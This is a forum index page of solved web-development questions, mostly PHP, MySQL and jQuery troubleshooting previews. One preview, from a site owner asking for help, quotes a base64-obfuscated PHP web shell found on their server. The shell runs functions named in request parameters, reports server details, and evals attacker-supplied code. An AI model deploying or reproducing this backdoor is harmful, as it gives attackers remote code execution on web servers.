17,029 Solved Topics
Remove Filter ![]() | |
Hi, I am trying to implement a categories/subcategories feature for navigation. For this I am using the The adjacency model as described [url=http://sqllessons.com/categories.html]Here[/url] Description(copy pasta): This is the categories table: [CODE]create table categories ( id integer not null primary key , name varchar(37) not null , parentid integer null , … Web Development php | |
So I'm writing this website and i need the following line of code [CODE=php] $b = http://www.mydomain.com; [/CODE] but the problem is that everything after the // php makes it a comment, so my question is how can I work around this small issue? Web Development php | |
Hi all... I'm trying to create a simple HTML table generated by php from mySQL table. This table simply displays the First Name and Last Name of all Employees in the database table. The trick is, I would also like to generate an HTML FORM, so beside each first and … | |
Hi, I have developed a web application using NetBeans and GlassFish v3. Now I want to change to Apache Tomcat, beacause of the unavalabilty of free GlassFish web hosting. So, my question is that, can I change my fully built web application to Apache Tomcat from GlassFish and [B]If yes … Web Development apache java-jsp java-netbeans web-server | |
Hi guys Can someone please point me in the right direct. cant seem to get round the error on the `$r = mysql_query()` line. <?php require_once ('../mysql.php'); if(isset($_GET['delete'])) { $id = (int)$_GET['delete']; $r = mysql_query ($dbc,"DELETE FROM customer WHERE id = {$id}"); if(mysql_affected_rows($dbc) ==1){ $message = '<p>Record deleted succefully</p>'; } … | |
how to get 12 hour time from time datatype in mysql and php? can anyone help me??? Web Development php | |
Hi, I want blank textbox value to be inserted into the database. For that I kept those fields 'default NULL' in mysql. Still doesn't take empty textboxes to be saved blank. What should I do? where am I wrong? Web Development php | |
[CODE] <script type='text/javascript' src='http://code.jquery.com/jquery-1.4.4.min.js'></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.5/jquery-ui.js"> </script> <script type='text/javascript'> $(document).ready(function(){ if($("#navlist li").height() > 7){ $("#navlist li").hover( function() { $(this).stop().animate({ top: '15px' }, 200, 'swing'); }, function() { $(this).stop().animate({ top: '0px' }, 200, 'swing'); } ); } else{} $('#navlist li').click(function(){ $('#navcontainer').animate({opacity: 1,"marginTop": 0,duration: "slow",easing: "easein"}, 1000 ); $('#navlist li').animate({ height: … Web Development java-swing javascript javascript-jquery | |
I want to sent email to all enews subcribers but how can i send mail more than one person but when i used this coding its working not properly.it is send 3 times mails to one person plz help me[CODE] <?php // Connects to your Database include("connection.php"); ?> <link href="../log.css" … | |
Hello, ths is one thing that is really shaking my heade O_o, I have got a Html and Javascript code, that contains about 1000 lines and I need to put it to php variable. Sure I was thinking about the [B]EOT[/B] method, But thare is one problem with it, if … Web Development html-css javascript php | |
Good Day, I'm trying to changed the background color of a field based on the results of the field. My script runs fine and provides the data correctly. I query my database and it gives me a result of $priority. $priority can be High, Medium, or Low. What I want … Web Development php | |
Hi all, I have another CFHTTP question. I am on another project where I have one sign-in form, but depending on the user's prior activity, or lack thereof, I have three places I can direct them. 1. If they are a returning user, they go to the main target, an … Web Development coldfusion | |
hi i would like to change just part of my code to change the color of my answer to my maths game see the code [CODE]document.write("<br>3+2 = " + answer1 + " is incorrect - the correct answer is 5");[/CODE] see where it says the answer is 5 i would … Web Development javascript | |
Can anyone see why my variable $unit_price isn't updating (in fact it isn't even being applied to the session variable) in this code (it must be something simple but I can't see it and is driving me mad). I have tested the posted data and it is being sent through … | |
Hi I have a form page (form.php) which calls a seperate PHP page to insert a new record (insert.php). Insert.php then redirects to a listing page (list.php) using [CODE]header('Location: list.php?z='.$access);[/CODE] ($access is the user id and priveledge level and is passed through all pages as our company does not allow … Web Development http-protocol php session | |
Guys I am having a problem on how can I display array of records using mysql_num_rows, I cant use mysql_fetch_array because the format like this [CODE]$row['MR_no'];[/CODE] that encloses the name of the field inside brackets in my SQL codes this is my codes: [CODE]<?php $username = $_SESSION['username']; $query = "select … | |
Hello. I'm currently coding a customer/product/etc registration site and there's this problem I just kinda can't figure out even after searching around on the web. The DB consists of 8 tables User (for login handling) Customer (for customer registration) Product (for product registration) ProductCategory (for product category registration) Cleaning (for … | |
My sms gateway save message data in log(MSSQL) in Hex code, like this: 0046003A0062006F006B0040007700650062006D0065006400690061002E0070006C These are Unicode message (16 bits per characters) Each 4 characters is AsciiHex representation of a character (in hex): For example: “0046” = 46hex = ‘F’ “003A” = 3Ahex = ‘:’ how can I convert this … Web Development coldfusion mssql | |
guys please help, why I get this error from my codes: Parse error: syntax error, unexpected T_VARIABLE in C:\xampp\htdocs\bernardino_ed\Bloodchem.php on line 125 [ICODE] $username = $_SESSION['username']; // this is for the paganation of records $per_page = 2; $pages_query = mysql_query("select * from tblpatient_info i, tbllab_bloodchem b, tbldoctor_info d, tblpatient_pass p … Web Development php | |
I think my site has been hacked! I found these lines of code on all my php files and I didn't put them there. Problem is I don't know enough php to understand what this batch of code does. Could anyone please help? How bad is it? Here's the code: … Web Development cybersecurity php | |
Okay this is starting to bug me. Working on a web based IM system for the site and when a new chat is initiated jQuery adds a name holder and a chat box to the chat bar. For some reason however it doesn't seem to want to work. Here is … Web Development javascript javascript-jquery session | |
I have a project in which i have two roles : Student Teacher I have already created a login page but i cant figure out how to redirect them to different pages according to their Roles... | |
HI there, quick advice please. I am developing a [URL="http://antobbo.webspace.virginmedia.com/petras/test/egypt.htm"]photography website[/URL] for a client and I want him to be able to click on an image in a list of thumbnails and that will bring up the bigger version of the image clicked on. I have achieved this in my … Web Development javascript | |
I have a page at this link [url]http://183.78.169.53/lp/addRoute6.php[/url]. You can press first the add button to have at least 5 rows. So then you can select the location for the first row. Then if you select the same location for second row if it is same with the previous it … Web Development javascript javascript-jquery | |
Please tell me why it gives me always zero value? [CODE]<?php $total =0; $memid = $_POST['username']; $leg = $_POST['leg']; mysql_connect ("host", "usr", "paswd") or die ('Error: ' .mysql_error()); mysql_select_db ("dbname"); function getTotalLeg($memid,$leg){ $sql="select $leg from `users` where `username`='$memid' "; $res=mysql_query($sql); $row=mysql_fetch_array($res); global $total; $total = $total+mysql_num_rows($res); if($row['$leg']!=''){ getTotalLeg ($row['$leg'],'lname'); getTotalLeg … Web Development data-structure mathematics php | |
heyy guys....i manage to connect to diff database in a single form...but how do i compare the value... for eg. now i would to compare invoice_no for the both of them [CODE] $host="localhost"; // Host name $username=""; // Mysql username $password=""; // Mysql password $db_name="test"; // Database name $tbl_name="test3"; // … Web Development php | |
Sorry I'm new to these stuff but I am having a hard time about this. So I'll trying to create a php and mysql program which can view records from database server. In my form I have 2 dropdown list and 2 submit button, the first one the the list … Web Development php | |
hi all... i have a problem when my boss ask me to do something that i don't know how to do it.. i need the idea for increment ID that will count by date.. For example today is 7/3/2012,user send request then id become AB-070312-1, user send other request at … Web Development php | |
Before I post my problem I would like you in advance for taking the time to read this. I've been using simpletest to help me develop and test my php scripts. I'm currently working on a session class and when I go to test it I get the following exception … | |
When the cursor enters div.round I want div#expand to appear. This is happenning fine. When I remove my cursor I want the div#expand to remain visible - this is also working. Then to close div#expand I want to click a#one - this is the bit that's not working with my … Web Development javascript javascript-jquery | |
I am using a page where rows get fetched from database... now what i want to do is open a new link for each row... you will understand it when you see the screenshot....i have attached it.... I want to somehow redirect the link to other page with the value … Web Development html-css javascript-jquery php | |
Hi, I am designing a E-commerce site. I have designed a way for the customers to view their previous orders, but for some reason there is a problem. The codes that you see below work but the while loop keeps stopping at 2 items when there should be more. Can … Web Development php | |
I found a file called 4be7.php in the root of my web site. I guess my first worry is how did it get there? Well, I've changed my FTP log on, what else can I do? Secondly, what is it? Here's what's in it: [CODE]<?php //176e622a9e272282a4a56a9100f5b75d $_= //ppZiAAS8dDJF9Q*(#_+@#TWyJ 'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K'; //ppZiAAS8dDJF9Q*(#_+@#TWyJ … Web Development php | |
Hi! Part of my website development is being able to recover a password and upon reading the owasp page i found out that the best one is having a temp password and an expiration my customers table doesnt have a date column nor temp pw column do I have to … Web Development php | |
Hi We have a competition running that I would like to automate getting the results with PHP from my MYSQL DB. I can run a query on the Database to get the following results Consultant1 20 sales Consultant2 10 sales Consultant3 5 sales Consultant4 1 sales Consultant5 3 sales Consultant6 … | |
i am a new to php.i am having a trouble that whenever i typed a wrong username in the textfield the field goes blank after its submission...I need the field values there such i need not want to insert the textfield value again.so how can i avoid such problem...i appreciate … Web Development php | |
Hi There! Can you please help me with this. On the first page of my page I created a Textbox named="Student", on the second page I just $_POST its name and the value goes through the textbox and now I wanted to show it Again on the Third box, I … Web Development php | |
I had done my CR with version 8.0 and I can load the report successful with asp.net coding but failed to do the same for asp. Does anyone have any code sample or any reference? I had googled it but failed to get any answer. Thanks in advance. Web Development asp | |
I need help in troubleshoot my code for reason the if statement is not working. any help please Im new into Javascript/ [CODE] <!doctype html> <html> <head> <meta charset="utf-8"> <title>Grade Calculator</title> <style type="text/css"> body { font-family: Arial, sans-serif; text-align: center; } form { width: 300px; margin: 0 auto; text-align: right; … Web Development html-css javascript | |
I a form page in an iFrame that when a user submits it brings up a thank you page. But when the thank you page loads, because the initial form page is long users don't get to see the thank you message on the thank you page. So what I … Web Development php ![]() | |
Hi, this is probably a trivial question but I'm so new to this I would learn a lot from any help... Why does the content in global variable "str" disappear as soon as I unclick the alertbox? How can I keep it? I put the string in a <div> and … Web Development javascript | |
hey, please help me sort this data out. Array ( [0] => Successful response for: set username [1] => Successful response for: set password [2] => Successful response for: set server [3] => Successful response for: services [4] => State Notification acquiring-network [5] => Successful response for: sign-in [6] => … Web Development client-server php | |
Hello, folks. I do have another issue here, haha. My Cancel script is not working, is not returning the tickets back to the database after I cancel them. I got completely wrong here, some help would be really appreciated. [CODE] <?php session_start(); $tickets = ['tickets']; //$tickets = $_SESSION['tickets']; //$id = … Web Development php | |
Hey guys, I'm doing a project for university and i have hit a wall. I have a gridview that is connected to a database as shown below: [url]http://i40.tinypic.com/fys9i.jpg[/url] (menu is incomplete) I want a drop down box that is populated with the type of food such as (pizzas, burgers etc … Web Development asp.net | |
hey there, as part of my application, I build an array of arrays. So, what I have is this: [CODE] $mainArray = array(); $mainArray = $somearray;//as built with results from a query $mainArray = $someOtherArray;//built same as above //I want to iterate: foreach($mainArray as $array) { foreach($array as $dataArray) { … Web Development php | |
I need to pass close to 100 variables between pages and I'm not sure of the best way to do it. Any suggestions? Web Development php | |
Hello, folks. I am facing a really annoying problem here. Well, basically I want my page to check if the user is an admin or not. Whenever I log in and try to access that page i am recieving the error message "You are not admin, leave" [CODE] <?php session_start(); … | |
<?php ob_start(); ?> <?php include("connection.php"); //this makes the time in the past to destroy the cookie $aa=$_COOKIE['md']; $bb=$_COOKIE['li']; $h1=$_COOKIE['h']; $m1=$_COOKIE['m']; date_default_timezone_set('GMT'); if (date_default_timezone_get()) { 'date_default_timezone_set: ' . date_default_timezone_get() . '<br />'; date("l, F d, Y h:i" ,time()) .'<br />'; $date_str = date("l, F d, Y h:i" ,time()); //ex:from database $date … Web Development php | |
Hi all.I found this code on a forum to confirm that the user wants to delete the record from database and that the link has not pressed accidently.But it is not deleting the record even after pressing ok.This is may be because the id is not passed properly. Can anyone … Web Development javascript | |
[code=php] <div id="user-bar"> <div id="user-options"> <div class="notification-container"> <img src="media/gear-faded.png"> </div> <div class="notification-container"> <img src="media/courses-faded.png"> </div> <div class="notification-container"> <img src="media/chat-faded.png"> </div> </div> <span class="profile-container"> <img src="https://openlearning-cdn.s3.amazonaws.com/feblioz-avatar-24-ts1330811171.jpg" alt="" border="0" class="profile-image" align="absmiddle" width="24" height="24" id="myAvatar24"> <span>feblioz</span> </span> </div> [/code] do you know how to make all the images to be in a line? |
The End.